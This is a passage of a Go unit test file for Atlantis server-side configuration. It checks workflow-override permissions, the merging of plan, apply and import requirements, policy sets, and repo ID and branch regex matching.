"silence_pr_comments"} } if c.policyCheckEnabled { exp.Repos[0].ApplyRequirements = append(exp.Repos[0].ApplyRequirements, "policies_passed") exp.Repos[0].PolicyCheck = Bool(true) } Equals(t, exp, act) // Have to hand-compare regexes because Equals doesn't do it. for i, actRepo := range act.Repos { expRepo := exp.Repos[i] if expRepo.IDRegex != nil { Assert(t, expRepo.IDRegex.String() == actRepo.IDRegex.String(), "%q != %q for repos[%d]", expRepo.IDRegex.String(), actRepo.IDRegex.String(), i) } if expRepo.BranchRegex != nil { Assert(t, expRepo.BranchRegex.String() == actRepo.BranchRegex.String(), "%q != %q for repos[%d]", expRepo.BranchRegex.String(), actRepo.BranchRegex.String(), i) } } }) } } func TestGlobalCfg_ValidateRepoCfg(t *testing.T) { cases := map[string]struct { gCfg valid.GlobalCfg rCfg valid.RepoCfg repoID string expErr string }{ "repo uses workflow that is defined server side but not allowed (with custom workflows)": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }).Repos[0], { ID: "github.com/owner/repo", AllowCustomWorkflows: Bool(true), AllowedOverrides: []string{"workflow"}, AllowedWorkflows: []string{"allowed"}, }, }, Workflows: map[string]valid.Workflow{ "allowed": {}, "forbidden": {}, }, }, rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("forbidden"), }, }, }, repoID: "github.com/owner/repo", expErr: "workflow 'forbidden' is not allowed for this repo", }, "repo uses workflow that is defined server side but not allowed (without custom workflows)": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }).Repos[0], { ID: "github.com/owner/repo", AllowCustomWorkflows: Bool(false), AllowedOverrides: []string{"workflow"}, AllowedWorkflows: []string{"allowed"}, }, }, Workflows: map[string]valid.Workflow{ "allowed": {}, "forbidden": {}, }, }, rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("forbidden"), }, }, }, repoID: "github.com/owner/repo", expErr: "workflow 'forbidden' is not allowed for this repo", }, "repo uses workflow that is defined in both places with same name (without custom workflows)": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }).Repos[0], { ID: "github.com/owner/repo", AllowCustomWorkflows: Bool(false), AllowedOverrides: []string{"workflow"}, AllowedWorkflows: []string{"duplicated"}, }, }, Workflows: map[string]valid.Workflow{ "duplicated": {}, }, }, rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("duplicated"), }, }, Workflows: map[string]valid.Workflow{ "duplicated": {}, }, }, repoID: "github.com/owner/repo", expErr: "repo config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'", }, "repo uses workflow that is defined repo side, but not allowed (with custom workflows)": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }).Repos[0], { ID: "github.com/owner/repo", AllowCustomWorkflows: Bool(true), AllowedOverrides: []string{"workflow"}, AllowedWorkflows: []string{"none"}, }, }, Workflows: map[string]valid.Workflow{ "forbidden": {}, }, }, rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("repodefined"), }, }, Workflows: map[string]valid.Workflow{ "repodefined": {}, }, }, repoID: "github.com/owner/repo", expErr: "", }, "repo uses workflow that is defined server side and allowed (without custom workflows)": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }).Repos[0], { ID: "github.com/owner/repo", AllowCustomWorkflows: Bool(false), AllowedOverrides: []string{"workflow"}, AllowedWorkflows: []string{"allowed"}, }, }, Workflows: map[string]valid.Workflow{ "allowed": {}, "forbidden": {}, }, }, rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("allowed"), }, }, }, repoID: "github.com/owner/repo", expErr: "", }, "repo uses workflow that is defined server side and allowed (with custom workflows)": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }).Repos[0], { ID: "github.com/owner/repo", AllowCustomWorkflows: Bool(true), AllowedOverrides: []string{"workflow"}, AllowedWorkflows: []string{"allowed"}, }, }, Workflows: map[string]valid.Workflow{ "allowed": {}, "forbidden": {}, }, }, rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("allowed"), }, }, }, repoID: "github.com/owner/repo", expErr: "", }, "workflow not allowed": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: false, }), rCfg: valid.RepoCfg{ Projects: []valid.Project{ { WorkflowName: String("invalid"), }, }, }, repoID: "github.com/owner/repo", expErr: "repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'", }, "custom workflows not allowed": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: false, }), rCfg: valid.RepoCfg{ Workflows: map[string]valid.Workflow{ "custom": {}, }, }, repoID: "github.com/owner/repo", expErr: "repo config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'", }, "custom workflows allowed": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }), rCfg: valid.RepoCfg{ Workflows: map[string]valid.Workflow{ "custom": {}, }, }, repoID: "github.com/owner/repo", expErr: "", }, "repo uses custom workflow defined on repo": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }), rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("repodefined"), }, }, Workflows: map[string]valid.Workflow{ "repodefined": {}, }, }, repoID: "github.com/owner/repo", expErr: "", }, "custom workflows allowed for this repo only": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: false, }).Repos[0], { ID: "github.com/owner/repo", AllowCustomWorkflows: Bool(true), }, }, }, rCfg: valid.RepoCfg{ Workflows: map[string]valid.Workflow{ "custom": {}, }, }, repoID: "github.com/owner/repo", expErr: "", }, "repo uses global workflow": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }), rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("default"), }, }, }, repoID: "github.com/owner/repo", expErr: "", }, "plan_reqs not allowed": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: false, }), rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", PlanRequirements: []string{""}, }, }, }, repoID: "github.com/owner/repo", expErr: "repo config not allowed to set 'plan_requirements' key: server-side config needs 'allowed_overrides: [plan_requirements]'", }, "apply_reqs not allowed": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: false, }), rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", ApplyRequirements: []string{""}, }, }, }, repoID: "github.com/owner/repo", expErr: "repo config not allowed to set 'apply_requirements' key: server-side config needs 'allowed_overrides: [apply_requirements]'", }, "import_reqs not allowed": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: false, }), rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", ImportRequirements: []string{""}, }, }, }, repoID: "github.com/owner/repo", expErr: "repo config not allowed to set 'import_requirements' key: server-side config needs 'allowed_overrides: [import_requirements]'", }, "repo workflow doesn't exist": { gCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ AllowAllRepoSettings: true, }), rCfg: valid.RepoCfg{ Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: String("doesntexist"), }, }, }, repoID: "github.com/owner/repo", expErr: "workflow \"doesntexist\" is not defined anywhere", }, } for name, c := range cases { t.Run(name, func(t *testing.T) { actErr := c.gCfg.ValidateRepoCfg(c.rCfg, c.repoID) if c.expErr == "" { Ok(t, actErr) } else { ErrEquals(t, c.expErr, actErr) } }) } } func TestGlobalCfg_WithPolicySets(t *testing.T) { version, _ := version.NewVersion("v1.0.0") cases := map[string]struct { gCfg string proj valid.Project repoID string exp valid.MergedProjectCfg }{ "policies are added to MergedProjectCfg when present": { gCfg: ` repos: - id: /.*/ policies: policy_sets: - name: good-policy source: local path: rel/path/to/source `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", WorkflowName: String("custom"), }, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: valid.Workflow{ Name: "default", Apply: valid.DefaultApplyStage, Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, }, PolicySets: valid.PolicySets{ Version: nil, ApproveCount: 1, PolicySets: []valid.PolicySet{ { Name: "good-policy", Path: "rel/path/to/source", Source: "local", ApproveCount: 1, }, }, }, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, "policies set correct version if specified": { gCfg: ` repos: - id: /.*/ policies: conftest_version: v1.0.0 policy_sets: - name: good-policy source: local path: rel/path/to/source `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", WorkflowName: String("custom"), }, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: valid.Workflow{ Name: "default", Apply: valid.DefaultApplyStage, Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, }, PolicySets: valid.PolicySets{ Version: version, ApproveCount: 1, PolicySets: []valid.PolicySet{ { Name: "good-policy", Path: "rel/path/to/source", Source: "local", ApproveCount: 1, }, }, }, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { tmp := t.TempDir() var global valid.GlobalCfg if c.gCfg != "" { path := filepath.Join(tmp, "config.yaml") Ok(t, os.WriteFile(path, []byte(c.gCfg), 0600)) var err error globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: false, } global, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) } else { globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: false, } global = valid.NewGlobalCfgFromArgs(globalCfgArgs) } Equals(t, c.exp, global.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{})) }) } } func TestGlobalCfg_MergeProjectCfg(t *testing.T) { var emptyPolicySets valid.PolicySets defaultWorkflow := valid.Workflow{ Name: "default", Apply: valid.DefaultApplyStage, PolicyCheck: valid.DefaultPolicyCheckStage, Plan: valid.DefaultPlanStage, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, } cases := map[string]struct { gCfg string repoID string proj valid.Project repoWorkflows map[string]valid.Workflow exp valid.MergedProjectCfg }{ "repos can use server-side defined workflow if allowed": { gCfg: ` repos: - id: /.*/ allowed_overrides: [workflow] workflows: custom: plan: steps: [plan]`, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", WorkflowName: String("custom"), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: valid.Workflow{ Name: "custom", Apply: valid.DefaultApplyStage, PolicyCheck: valid.DefaultPolicyCheckStage, Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "plan", }, }, }, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, }, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, "repo-side plan reqs win out if allowed": { gCfg: ` repos: - id: /.*/ allowed_overrides: [plan_requirements] plan_requirements: [approved] `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", PlanRequirements: []string{"mergeable"}, ApplyRequirements: []string{}, ImportRequirements: []string{}, }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{"mergeable"}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, "repo-side apply reqs win out if allowed": { gCfg: ` repos: - id: /.*/ allowed_overrides: [apply_requirements] apply_requirements: [approved] `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", PlanRequirements: []string{}, ApplyRequirements: []string{"mergeable"}, ImportRequirements: []string{}, }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{"mergeable"}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, "repo-side apply reqs should include non-overridable 'policies_passed' req when overridden and policies enabled": { gCfg: ` repos: - id: /.*/ allowed_overrides: [apply_requirements] apply_requirements: [approved] policy_check: true `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", PlanRequirements: []string{}, ApplyRequirements: []string{"mergeable"}, ImportRequirements: []string{}, }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{"mergeable", "policies_passed"}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, PolicyCheck: true, }, }, "repo-side plan reqs should not include non-overridable 'policies_passed', since it's not a default plan requirement": { gCfg: ` repos: - id: /.*/ allowed_overrides: [plan_requirements] apply_requirements: [approved] policy_check: true `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", PlanRequirements: []string{"mergeable"}, ApplyRequirements: []string{}, ImportRequirements: []string{}, }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{"mergeable"}, ApplyRequirements: []string{"approved"}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, PolicyCheck: true, }, }, "repo-side apply reqs should not include non-overridable 'policies_passed' req when overridden and policies disabled": { gCfg: ` repos: - id: /.*/ allowed_overrides: [apply_requirements] apply_requirements: [approved] `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", PlanRequirements: []string{}, ApplyRequirements: []string{"mergeable"}, ImportRequirements: []string{}, }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{"mergeable"}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, PolicyCheck: false, }, }, "repo-side import reqs win out if allowed": { gCfg: ` repos: - id: /.*/ allowed_overrides: [import_requirements] import_requirements: [approved] `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{"mergeable"}, }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{"mergeable"}, Workflow: defaultWorkflow, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, "repo-side repo_locking win out if allowed": { gCfg: ` repos: - id: /.*/ repo_locking: false `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, CustomPolicyCheck: Bool(false), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.RepoLocks{Mode: valid.RepoLocksDisabledMode}, CustomPolicyCheck: false, }, }, "repo-side repo_locks win out if allowed": { gCfg: ` repos: - id: /.*/ repo_locks: mode: on_apply `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: ".", Workspace: "default", PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, RepoLocks: &valid.DefaultRepoLocks, CustomPolicyCheck: Bool(false), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: ".", Workspace: "default", Name: "", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode}, CustomPolicyCheck: false, }, }, "last server-side match wins": { gCfg: ` repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /github.com/.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] - id: github.com/owner/repo plan_requirements: [approved, mergeable] apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: "mydir", Workspace: "myworkspace", Name: String("myname"), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable"}, ImportRequirements: []string{"approved", "mergeable"}, Workflow: defaultWorkflow, RepoRelDir: "mydir", Workspace: "myworkspace", Name: "myname", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, "autoplan is set properly": { gCfg: "", repoID: "github.com/owner/repo", proj: valid.Project{ Dir: "mydir", Workspace: "myworkspace", Name: String("myname"), Autoplan: valid.Autoplan{ WhenModified: []string{".tf"}, Enabled: true, }, }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: "mydir", Workspace: "myworkspace", Name: "myname", AutoplanEnabled: true, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, "execution order group is set": { gCfg: "", repoID: "github.com/owner/repo", proj: valid.Project{ Dir: "mydir", Workspace: "myworkspace", Name: String("myname"), Autoplan: valid.Autoplan{ WhenModified: []string{".tf"}, Enabled: true, }, ExecutionOrderGroup: 10, }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: defaultWorkflow, RepoRelDir: "mydir", Workspace: "myworkspace", Name: "myname", AutoplanEnabled: true, PolicySets: emptyPolicySets, ExecutionOrderGroup: 10, RepoLocks: valid.DefaultRepoLocks, CustomPolicyCheck: false, }, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { tmp := t.TempDir() var global valid.GlobalCfg if c.gCfg != "" { path := filepath.Join(tmp, "config.yaml") Ok(t, os.WriteFile(path, []byte(c.gCfg), 0600)) var err error globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: false, } global, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) } else { globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: false, } global = valid.NewGlobalCfgFromArgs(globalCfgArgs) } global.PolicySets = emptyPolicySets Equals(t, c.exp, global.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{Workflows: c.repoWorkflows})) }) } } func TestRepo_IDMatches(t *testing.T) { // Test exact matches. Equals(t, false, (valid.Repo{ID: "github.com/owner/repo"}).IDMatches("github.com/runatlantis/atlantis")) Equals(t, true, (valid.Repo{ID: "github.com/owner/repo"}).IDMatches("github.com/owner/repo")) // Test regexes. Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile(".*")}).IDMatches("github.com/owner/repo")) Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com")}).IDMatches("github.com/owner/repo")) Equals(t, false, (valid.Repo{IDRegex: regexp.MustCompile("github.com/anotherowner")}).IDMatches("github.com/owner/repo")) Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com/(owner|runatlantis)")}).IDMatches("github.com/owner/repo")) Equals(t, true, (valid.Repo{IDRegex: regexp.MustCompile("github.com/owner.*")}).IDMatches("github.com/owner/repo")) } func TestRepo_IDString(t *testing.T) { Equals(t, "github.com/owner/repo", (valid.Repo{ID: "github.com/owner/repo"}).IDString()) Equals(t, "/regex.*/", (valid.Repo{IDRegex: regexp.MustCompile("regex.*")}).IDString()) } func TestRepo_BranchMatches(t *testing.T) { // Test matches when no branch regex is set. Equals(t, true, (valid.Repo{}).BranchMatches("main")) // Test regexes. Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile(".*")}).BranchMatches("main")) Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile("main")}).BranchMatches("main")) Equals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile("^main$")}).BranchMatches("foo-main")) Equals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile("^main$")}).BranchMatches("main-foo")) Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile("(main|master)")}).BranchMatches("main")) Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile("(main|master)")}).BranchMatches("main")) Equals(t, true, (valid.Repo{BranchRegex: regexp.MustCompile("release")}).BranchMatches("release-stage")) Equals(t, false, (valid.Repo{BranchRegex: regexp.MustCompile("release")}).BranchMatches("main")) } func TestGlobalCfg_MatchingRepo(t *testing.T) { defaultRepo := valid.Repo{ IDRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile(".*"), PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, } repo1 := valid.Repo{ IDRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile("^main$"), PlanRequirements: []string{"approved"}, ApplyRequirements: []string{"approved"}, ImportRequirements: []string{"approved"}, } repo2 := valid.Repo{ ID: "github.com/owner/repo", BranchRegex: regexp.MustCompile("^main$"), PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable"}, ImportRequirements: []string{"approved", "mergeable"}, } cases := map[string]struct { gCfg valid.GlobalCfg repoID string exp *valid.Repo }{ "matches to default": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ defaultRepo, repo2, }, }, repoID: "foo", exp: &defaultRepo, }, "matches to IDRegex": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ defaultRepo, repo1, repo2, }, }, repoID: "foo", exp: &repo1, }, "matches to ID": { gCfg: valid.GlobalCfg{ Repos: []valid.Repo{ defaultRepo, repo1, repo2, }, }, repoID: "github.com/owner/repo", exp: &repo2, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { Equals(t, c.exp, c.gCfg.MatchingRepo(c.repoID)) }) } } func TestGlobalCfg_PolicyCheckOverride(t *testing.T) { var emptyPolicySets valid.PolicySets defaultWorkflow := valid.Workflow{ Name: "default", Apply: valid.DefaultApplyStage, PolicyCheck: valid.DefaultPolicyCheckStage, Plan: valid.DefaultPlanStage, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, } cases := map[string]struct { gPolicyCheck bool gCfg string repoID string proj valid.Project repoWorkflows map[string]valid.Workflow exp valid.MergedProjectCfg }{ "global policy check disabled": { gPolicyCheck: false, gCfg: ` repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /github.com/.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] - id: github.com/owner/repo plan_requirements: [approved, mergeable] apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: "mydir", Workspace: "myworkspace", Name: String("myname"), PolicyCheck: Bool(false), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable"}, ImportRequirements: []string{"approved", "mergeable"}, Workflow: defaultWorkflow, RepoRelDir: "mydir", Workspace: "myworkspace", Name: "myname", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, PolicyCheck: false, CustomPolicyCheck: false, }, }, "global policy check enabled": { gPolicyCheck: true, gCfg: ` repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /github.com/.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] - id: github.com/owner/repo plan_requirements: [approved, mergeable] apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: "mydir", Workspace: "myworkspace", Name: String("myname"), PolicyCheck: Bool(true), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable", "policies_passed"}, ImportRequirements: []string{"approved", "mergeable"}, Workflow: defaultWorkflow, RepoRelDir: "mydir", Workspace: "myworkspace", Name: "myname", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, PolicyCheck: true, CustomPolicyCheck: false, }, }, "global policy check enabled except current repo": { gPolicyCheck: true, gCfg: ` repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /github.com/.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] - id: github.com/owner/repo plan_requirements: [approved, mergeable] apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] policy_check: false `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: "mydir", Workspace: "myworkspace", Name: String("myname"), PolicyCheck: Bool(false), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable"}, ImportRequirements: []string{"approved", "mergeable"}, Workflow: defaultWorkflow, RepoRelDir: "mydir", Workspace: "myworkspace", Name: "myname", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, PolicyCheck: false, CustomPolicyCheck: false, }, }, "global policy check disabled and disabled on current repo": { gPolicyCheck: false, gCfg: ` repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /github.com/.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] - id: github.com/owner/repo plan_requirements: [approved, mergeable] apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] policy_check: false `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: "mydir", Workspace: "myworkspace", Name: String("myname"), PolicyCheck: Bool(false), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable"}, ImportRequirements: []string{"approved", "mergeable"}, Workflow: defaultWorkflow, RepoRelDir: "mydir", Workspace: "myworkspace", Name: "myname", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, PolicyCheck: false, CustomPolicyCheck: false, }, }, "global policy check disabled and enabled on current repo": { gPolicyCheck: false, gCfg: ` repos: - id: /.*/ plan_requirements: [approved] apply_requirements: [approved] import_requirements: [approved] - id: /github.com/.*/ plan_requirements: [mergeable] apply_requirements: [mergeable] import_requirements: [mergeable] - id: github.com/owner/repo plan_requirements: [approved, mergeable] apply_requirements: [approved, mergeable] import_requirements: [approved, mergeable] policy_check: true `, repoID: "github.com/owner/repo", proj: valid.Project{ Dir: "mydir", Workspace: "myworkspace", Name: String("myname"), PolicyCheck: Bool(false), }, repoWorkflows: nil, exp: valid.MergedProjectCfg{ PlanRequirements: []string{"approved", "mergeable"}, ApplyRequirements: []string{"approved", "mergeable"}, ImportRequirements: []string{"approved", "mergeable"}, Workflow: defaultWorkflow, RepoRelDir: "mydir", Workspace: "myworkspace", Name: "myname", AutoplanEnabled: false, PolicySets: emptyPolicySets, RepoLocks: valid.DefaultRepoLocks, PolicyCheck: true, // Project will have policy check as true but since it is globally disable it wont actually run CustomPolicyCheck: false, }, }, } for name, c := range cases { t.Run(name, func(t *testing.T) 